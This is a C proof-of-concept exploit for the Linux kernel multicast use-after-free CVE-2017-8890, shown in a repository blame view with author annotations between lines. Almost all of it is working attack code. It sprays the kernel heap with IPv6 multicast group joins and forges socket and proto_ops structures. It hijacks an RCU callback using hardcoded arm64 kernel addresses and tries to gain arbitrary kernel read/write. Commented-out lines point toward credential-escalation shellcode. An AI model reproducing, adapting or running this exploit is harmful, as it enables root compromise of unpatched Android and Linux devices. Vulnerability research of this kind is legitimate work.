Skip to content
Snippets Groups Projects
CVE-2017-8890_PoC.c 11.6 KiB
Newer Older
Werner Sembach's avatar
Werner Sembach committed
#include <stdio.h>
#include <stdlib.h>
#include <sys/select.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <fcntl.h>
#include <time.h>
#include <sys/types.h>
#include <pthread.h>
#include <net/if.h>
#include <errno.h>
#include <assert.h>

#define HELLO_WORLD_SERVER_PORT 6666
Werner Sembach's avatar
Werner Sembach committed
#define LENGTH_OF_LISTEN_QUEUE 1
#define SPRAY_SIZE 250
Werner Sembach's avatar
Werner Sembach committed

#define KERNEL_SOCK_IOCTL 0xffffffc00050f518;
#define KERNEL_SOCK_IOCTL_RET 0xffffffc00050f550; //alternatively 0xffffffc00050f550
/*(gdb) disassemble /s kernel_sock_ioctl
Dump of assembler code for function kernel_sock_ioctl:
./arch/arm64/include/asm/thread_info.h:
76      static inline struct thread_info *current_thread_info(void)
77      {
78              return (struct thread_info *)
   0xffffffc00050f518 <+0>:     stp     x29, x30, [sp, #-32]!
   0xffffffc00050f51c <+4>:     mov     x4, #0xffffffffffffffff         // #-1
   0xffffffc00050f520 <+8>:     mov     x3, sp
   0xffffffc00050f524 <+12>:    mov     x29, sp
   0xffffffc00050f528 <+16>:    and     x3, x3, #0xffffffffffffc000
   0xffffffc00050f52c <+20>:    str     x19, [sp, #16]
   0xffffffc00050f530 <+24>:    ldr     x19, [x3, #8]
   0xffffffc00050f534 <+28>:    str     x4, [x3, #8]

net/socket.c:
3289            err = sock->ops->ioctl(sock, cmd, arg);
   0xffffffc00050f538 <+32>:    ldr     x3, [x0, #40]
   0xffffffc00050f53c <+36>:    ldr     x3, [x3, #72]
   0xffffffc00050f540 <+40>:    blr     x3

./arch/arm64/include/asm/thread_info.h:
78              return (struct thread_info *)
   0xffffffc00050f544 <+44>:    mov     x1, sp
   0xffffffc00050f548 <+48>:    and     x1, x1, #0xffffffffffffc000
   0xffffffc00050f54c <+52>:    str     x19, [x1, #8]

net/socket.c:
3292            return err;
   0xffffffc00050f550 <+56>:    ldr     x19, [sp, #16]
   0xffffffc00050f554 <+60>:    ldp     x29, x30, [sp], #32
   0xffffffc00050f558 <+64>:    ret
End of assembler dump.*/

volatile int server_init = 0;
volatile int server_finish = 0;
volatile int client_finish = 0;
volatile int set_fake_next_rcu_init = 0;
volatile int set_fake_next_rcu_finish = 0;
int sockfd[SPRAY_SIZE];
char *fake_next_rcu_memory;
Werner Sembach's avatar
Werner Sembach committed

struct callback_head {
    struct callback_head *next;
    void (*func)(struct callback_head *head);
};
struct ip_mc_socklist {
    struct ip_mc_socklist *next_rcu;
    struct ip_mreqn multi;
    unsigned int sfmode;
    struct ip_sf_socklist *sflist;
    struct callback_head rcu;
};

typedef enum {
    SS_FREE = 0,
    SS_UNCONNECTED,
    SS_CONNECTING,
    SS_CONNECTED,
    SS_DISCONNECTING
} socket_state;

struct socket {
    socket_state state;
    short type;
    unsigned long flags;
    struct socket_wq *wq;
    struct file *file;
    struct sock *sk;
    struct proto_ops *ops;
};

struct proto_ops {
    int family;
    void *owner;
    void *release;
    void *bind;
    void *connect;
    void *socketpair;
    void *accept;
    void *getname;
    void *poll;
    int (*ioctl)(struct socket *, unsigned int, unsigned long);
    void *compat_ioctl;
    void *listen;
    void *shutdown;
    void *setsockopt;
    void *getsockopt;
    void *compat_setsockopt;
    void *compat_getsockopt;
    void *sendmsg;
    void *recvmsg;
    void *mmap;
    void *sendpage;
    void *splice_read;
    void *set_peek_off;
};

volatile struct ip_mc_socklist *fake_next_rcu;

/*int (*printk)(const char *, ...) = (int (*)(const char *, ...))0xffffffc000141abc;
int (*commit_creds)(void *) = (int (*)(void *))0xffffffc0000d1310;
void *(*prepare_kernel_cred)(void *) = (void *(*)(void *))0xffffffc0000d1888;

void shellcode(void *tmp) {

    shellcode_return = 1337;
    return;

void *set_fake_next_rcu() {
    //printf("[set_fake_next_rcu] shellcode address: 0x%016x\n", (uint64_t)&shellcode);
    printf("0x%02x 0x%02x\n", sizeof(struct socket), sizeof(struct proto_ops));

    fake_next_rcu_memory = malloc(sizeof(struct ip_mc_socklist) + sizeof(struct socket) + sizeof(struct proto_ops) + 0x100); // that is a little bit more space then needed to be on the safe side
                                                                                                                             // fake_next_rcu and fake_socket overlap by 16 bytes and the start
                                                                                                                             // offset is a max of 0xff and not 0x100
    fake_next_rcu = (struct ip_mc_socklist *)((uint64_t)fake_next_rcu_memory | 0xff);
    struct socket *fake_socket = (struct socket *)&(fake_next_rcu->rcu);
    fake_socket->ops = (struct proto_ops *)(fake_next_rcu_memory + 0x100 + sizeof(struct ip_mc_socklist) + sizeof(struct socket));
    fake_socket->ops->ioctl = (int (*)(struct socket *, unsigned int,  long unsigned int))KERNEL_SOCK_IOCTL_RET;

    set_fake_next_rcu_init = 1;

    while(!server_finish) {
        //fake_next_rcu->rcu.func = (void (*))&shellcode;
        fake_next_rcu->rcu.func = (void (* volatile)(struct callback_head *))KERNEL_SOCK_IOCTL;
    }

    free(fake_next_rcu_memory);

    set_fake_next_rcu_finish = 1;

    return NULL;
};

int read_at_address_pipe(void *address, void *buf, size_t len) {
    int ret = 1;
    int pipes[2];

    if (pipe(pipes))
        return 1;

    if (write(pipes[1], address, len) != len)
        goto end;
    if (read(pipes[0], buf, len) != len)
        goto end;

    ret = 0;
    end:
    close(pipes[1]);
    close(pipes[0]);
    return ret;
}

int write_at_address_pipe(void *address, void *buf, size_t len) {
    int ret = 1;
    int pipes[2];

    if (pipe(pipes))
        return 1;

    if (write(pipes[1], buf, len) != len)
        goto end;
    if (read(pipes[0], address, len) != len)
        goto end;

    ret = 0;
    end:
    close(pipes[1]);
    close(pipes[0]);
    return ret;
}

void heap_spray_init() {
    printf("[Spray] heap_spray_init start\n");

    for (int i = 0; i < SPRAY_SIZE; ++i) {
        sockfd[i] = socket(PF_INET6, SOCK_STREAM, 0);
        if (sockfd[i] < 0) {
            perror("[Spray] Socket creation failed");
Werner Sembach's avatar
Werner Sembach committed
            exit(errno);
        }
    }

    printf("[Spray] heap_spray_init end\n");
    return;
}

void heap_spray_run() {
    printf("[Spray] heap_spray_run start\n");

    struct group_req group = {0};
    struct sockaddr_in6 *psin = (struct sockaddr_in6 *) &group.gr_group;
    psin->sin6_family = AF_INET6;
    psin->sin6_port = 1234;
    *(uint64_t *)psin->sin6_addr.s6_addr = (uint64_t)fake_next_rcu;
    printf("[Spray] Fake ipv6 address: ");
    for (int i = 0; i < 16; ++i) {
        printf("%02x", psin->sin6_addr.s6_addr[i]);
    }
    printf("\n");
    for (int i = 0; i < SPRAY_SIZE; ++i) {
        if(setsockopt(sockfd[i], IPPROTO_IPV6, MCAST_JOIN_GROUP, &group, sizeof(group))) {
            printf("%d ", i);
            perror("[Spray] setsockopt failed");
Werner Sembach's avatar
Werner Sembach committed
            exit(errno);
        }
    }

    printf("[Spray] heap_spray_run end\n");
Werner Sembach's avatar
Werner Sembach committed
    return;
}

void heap_spray_finalize() {
    printf("[Spray] heap_spray_finalize start\n");

    for (int i = 0; i < SPRAY_SIZE; ++i) {
        close(sockfd[i]);
Werner Sembach's avatar
Werner Sembach committed
    }

    printf("[Spray] heap_spray_finalize end\n");
    return;
Werner Sembach's avatar
Werner Sembach committed
void *server(void *arg) {
    struct sockaddr_in server_addr;
    bzero(&server_addr, sizeof(server_addr));
    server_addr.sin_family = AF_INET;
    server_addr.sin_addr.s_addr = htons(INADDR_ANY);
    server_addr.sin_port = htons(HELLO_WORLD_SERVER_PORT);

    struct group_req group = {0};
    struct sockaddr_in *psin;
    psin = (struct sockaddr_in *) &group.gr_group;
    psin->sin_family = AF_INET;
    psin->sin_addr.s_addr = htonl(inet_addr("10.10.2.224"));

    int server_socket = socket(PF_INET, SOCK_STREAM, 0);
    if (server_socket < 0) {
        printf("[Server] Create Socket Failed!");
Werner Sembach's avatar
Werner Sembach committed
        exit(EXIT_FAILURE);
    }

    if(setsockopt(server_socket, IPPROTO_IP, MCAST_JOIN_GROUP, &group, sizeof(group))) {
        perror("[Server] Server Socket Join Group Failed!");
Werner Sembach's avatar
Werner Sembach committed
        exit(EXIT_FAILURE);
    }

    if (bind(server_socket, (struct sockaddr *) &server_addr, sizeof(server_addr))) {
        printf("[Server] Server Bind Port : %d Failed!", HELLO_WORLD_SERVER_PORT);
Werner Sembach's avatar
Werner Sembach committed
        exit(EXIT_FAILURE);
    }


    if (listen(server_socket, LENGTH_OF_LISTEN_QUEUE)) {
        printf("[Server] Server Listen Failed!");
Werner Sembach's avatar
Werner Sembach committed
        exit(EXIT_FAILURE);
    }

    struct sockaddr_in client_addr;
    socklen_t length = sizeof(client_addr);

    server_init = 1;
    printf("[Server] accept..... \n");
Werner Sembach's avatar
Werner Sembach committed
    int new_server_socket = accept(server_socket, (struct sockaddr *) &client_addr, &length);
    if (new_server_socket < 0) {
        close(server_socket);
        printf("[Server] Server Accept Failed!\n");
Werner Sembach's avatar
Werner Sembach committed
        return NULL;
    }

    printf("[Server] Close new_server_socket\n");
Werner Sembach's avatar
Werner Sembach committed
    close(new_server_socket);
Werner Sembach's avatar
Werner Sembach committed

    heap_spray_run();

    printf("[Server] Close server_socket\n");
Werner Sembach's avatar
Werner Sembach committed
    close(server_socket);
Werner Sembach's avatar
Werner Sembach committed

    //sleep(5);

    //printf("[Server] Shellcode return: %d\n", shellcode_return);
    printf("Exploit complete, let's try arbitrary write.\n");
    char tester[8] = {};
    if (read_at_address_pipe((void *) 0xFFFFFFC000008000LL, &tester, 4)) {
        perror("Turn UAF to arbitrary read/write failed");
        //while(1) {}
    }
    printf("Turn UAF to arbitrary read/write succeeded.\n");

Werner Sembach's avatar
Werner Sembach committed
    server_finish = 1;
    return NULL;
}

void *client(void *arg) {
    struct sockaddr_in client_addr;
    bzero(&client_addr, sizeof(client_addr));
    client_addr.sin_family = AF_INET;
    client_addr.sin_addr.s_addr = htons(INADDR_ANY);
    client_addr.sin_port = htons(0);
Werner Sembach's avatar
Werner Sembach committed
    int client_socket = socket(AF_INET, SOCK_STREAM, 0);
    if (client_socket < 0) {
        printf("[Client] Create socket failed!\n");
Werner Sembach's avatar
Werner Sembach committed
        exit(EXIT_FAILURE);
    }
Werner Sembach's avatar
Werner Sembach committed
    if (bind(client_socket, (struct sockaddr *) &client_addr, sizeof(client_addr))) {
        printf("[Client] Client bind port failed!\n");
Werner Sembach's avatar
Werner Sembach committed
        exit(EXIT_FAILURE);
    }
Werner Sembach's avatar
Werner Sembach committed
    struct sockaddr_in server_addr;
    bzero(&server_addr, sizeof(server_addr));
    server_addr.sin_family = AF_INET;
    if (inet_aton("127.0.0.1", &server_addr.sin_addr) == 0) {
        printf("[Client] Server IP Address error\n");
Werner Sembach's avatar
Werner Sembach committed
        exit(EXIT_FAILURE);
    }
Werner Sembach's avatar
Werner Sembach committed
    server_addr.sin_port = htons(HELLO_WORLD_SERVER_PORT);
    socklen_t server_addr_length = sizeof(server_addr);
    if (connect(client_socket, (struct sockaddr *) &server_addr, server_addr_length) < 0) {
        printf("[Client] cannot connect to 127.0.0.1!\n");
Werner Sembach's avatar
Werner Sembach committed
        exit(EXIT_FAILURE);
    }
Werner Sembach's avatar
Werner Sembach committed

    while (!server_finish) {
        sleep(1);
    }

    printf("[Client] Close client_socket\n");
Werner Sembach's avatar
Werner Sembach committed
    close(client_socket);
    client_finish = 1;

    return NULL;
}

int main(int argc, char *argv[]) {
    heap_spray_init();
Werner Sembach's avatar
Werner Sembach committed

    pthread_t id_server, id_client, id_set_fake_next_rcu;

    pthread_create(&id_set_fake_next_rcu, NULL, set_fake_next_rcu, NULL);
    while (!set_fake_next_rcu_init) {
        sleep(1);
    }
Werner Sembach's avatar
Werner Sembach committed

Werner Sembach's avatar
Werner Sembach committed
    pthread_create(&id_server, NULL, server, NULL);
    while (!server_init) {
        sleep(1);
    }
Werner Sembach's avatar
Werner Sembach committed
    pthread_create(&id_client, NULL, client, NULL);
    while (!server_finish || !client_finish || !set_fake_next_rcu_finish) {
Werner Sembach's avatar
Werner Sembach committed
        sleep(1);
    }
    printf("Trying to exit, but kernel will most likely crash on freeing manipulated memory region.\n");

    heap_spray_finalize();
Werner Sembach's avatar
Werner Sembach committed
    return EXIT_SUCCESS;
}